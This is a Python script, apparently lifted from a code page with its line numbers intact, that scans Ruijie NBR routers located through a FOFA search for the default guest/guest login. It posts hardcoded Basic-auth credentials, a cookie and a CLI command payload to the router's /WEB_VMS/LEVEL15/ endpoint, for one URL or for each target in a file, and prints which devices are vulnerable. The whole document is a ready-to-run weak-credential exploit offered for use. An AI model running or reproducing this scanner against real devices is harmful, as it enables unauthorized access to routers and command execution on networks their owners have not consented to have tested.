1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import sys import argparse
def longer(): print('FOFA:title="锐捷网络--NBR路由器--登录界面"') print('python xxx.py -u/--url http://xxx.xxx.xxx.xxx') print('python xxx.py -f/--file xxx.txt') print('longer')
if len(sys.argv) == 1: longer() sys.exit()
par = argparse.ArgumentParser(description='longer help')
par.add_argument('-u','--url' ,help='输入url',default='') par.add_argument('-f','--file',help='输入文件',default='') a = par.parse_args()
url =a.url file =a.file
headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36', 'Content-Type':'text/plain;charset=UTF-8', 'Cookie':'c_name=; hardtype=NBR2000G; web-coding=gb2312; currentURL=; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest', 'Authorization':'Basic Z3Vlc3Q6Z3Vlc3Q=' }
data = 'command=show clock&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.'
if url != '': url = url url2 =url try: url1 =url+'/WEB_VMS/LEVEL15/' r =requests.post(url=url1 , data=data,headers=headers,verify=False,timeout=10) if r.status_code == 200 and 'WebCLI' in r.text: print(url2+'NBR路由器存在弱口令:guest/guest') else: print(url2+'NBR路由器不存在弱口令') except Exception as e: print(url2+'异常')
if file != '': p = open(file,'r+') for i in p.readlines(): url = i.strip() if url.startswith('http://') != 1 and url.startswith('https://') != 1: url = 'http://'+url url=url url1=url try: url = url +'/WEB_VMS/LEVEL15/' r=requests.post(url=url,headers=headers,data=data,verify=False,timeout=10) if r.status_code == 200 and 'WebCLI' in r.text: print(url1+'NBR路由器存在弱口令:guest/guest') else: print(url1+'NBR路由器不存在弱口令') except Exception as e: print(url1+'异常')
|